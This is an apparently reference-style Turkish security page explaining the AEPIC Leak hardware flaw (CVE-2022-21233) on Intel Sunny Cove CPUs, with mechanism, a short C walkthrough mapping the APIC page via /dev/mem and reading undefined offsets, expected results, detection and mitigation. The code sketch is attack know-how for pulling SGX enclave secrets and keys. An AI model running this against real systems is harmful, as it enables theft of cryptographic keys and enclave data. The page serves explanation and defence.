Skip to content

AEPIC Leak

Sunny-Cove Intel CPU'larda local APIC'in memory-mapped register'larının undefined offset'lerini okuyarak — SGX enclave secret'ları dahil — bayatlamış veriyi architectural olarak oku.

Mechanism

Note

ÆPIC Leak ilk architectural CPU data leak'tir: secret veriyi normal bir load üzerinden döndürür, decode edilecek hiçbir timing side channel olmadan. Sunny-Cove tabanlı Intel core'larda (Ice Lake, Alder Lake) local APIC (Advanced Programmable Interrupt Controller) memory-mapped I/O üzerinden açığa çıkar. 4 KiB'lik register page'inde birçok undefined / reserved offset vardır. Software böyle bir undefined offset okuduğunda, hardware sabit bir değer döndürmez — L2 ile last-level cache arasında cache line'ları taşıyan buffer olan superqueue'da kalmış bayat veriyi döndürür. Değişmez nokta: yakın zamanda L2 ile LLC arasında taşınan veri (load'lar, store'lar ve kritik olarak SGX enclave'lere giren ya da çıkan veri) superqueue'da oyalanır ve undefined APIC MMIO offset'lerini okumak o bayat veriyi architectural olarak bir general-purpose register'a yüzeye çıkarır. Flush+Reload yok, probing yok — byte'lar okunmak için orada öylece durur.

Walkthrough

Saldırganın APIC MMIO page'ine erişimi gerekir; bu, etkilenen sistemlerde privileged (root / CPL0) kod tarafından ya da kötü niyetli bir OS üzerinden erişilebilir — asıl hedef SGX'tir, ki orada OS tasarım gereği güvenilmezdir.

  1. Map the APIC page (xAPIC MMIO, physical base 0xFEE00000):
int fd = open("/dev/mem", O_RDWR | O_SYNC);
volatile uint8_t *apic = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                              MAP_SHARED, fd, 0xFEE00000);
  1. Read undefined offsets ile bayat superqueue byte'larını örnekle:
// Reserved/undefined APIC register offsets return uninitialized
// superqueue data instead of a defined value.
for (int off = 0; off < 0x1000; off += 4) {
    uint32_t v = *(volatile uint32_t *)(apic + off);  // architectural read
    record(off, v);                                   // stale L2<->LLC data
}
  1. Reconstruct secrets. Enclave aktivitesini (ya da kurban memory trafiğini) sür, sızdıran offset'leri tekrar tekrar örnekle ve kurtarılan 4-byte parçaları key'lere/plaintext'e dik.
Beklenen sonuçlar (makaleden)
Affected:  Intel Sunny Cove (Ice Lake, Alder Lake)
CVE:       CVE-2022-21233
Leak src:  superqueue (L2 <-> LLC transfers), incl. SGX enclave data
Type:      architectural (no side channel needed)
Result:    AES-NI, RSA, and SGX attestation keys extracted in seconds

Detection

Sızdırılan bağlamın içinden zordur; APIC MMIO'ya beklenmedik erişimi tespit etmeye dayanır. SGX attestation revocation, ele geçirilmiş enclave'leri işaretleyebilir.

Mitigation

Intel microcode güncellemeleri; xAPIC MMIO'yu devre dışı bırak / x2APIC kullan (MSR tabanlı, MMIO page'i yok); SGX için enclave geçişlerinde superqueue durumunu flush'la ve etkilenen parçalarda SGX confidentiality'sine güvenmekten kaçın. Intel'in microcode düzeltmesi sızdırılan okumaları sanitize eder.

References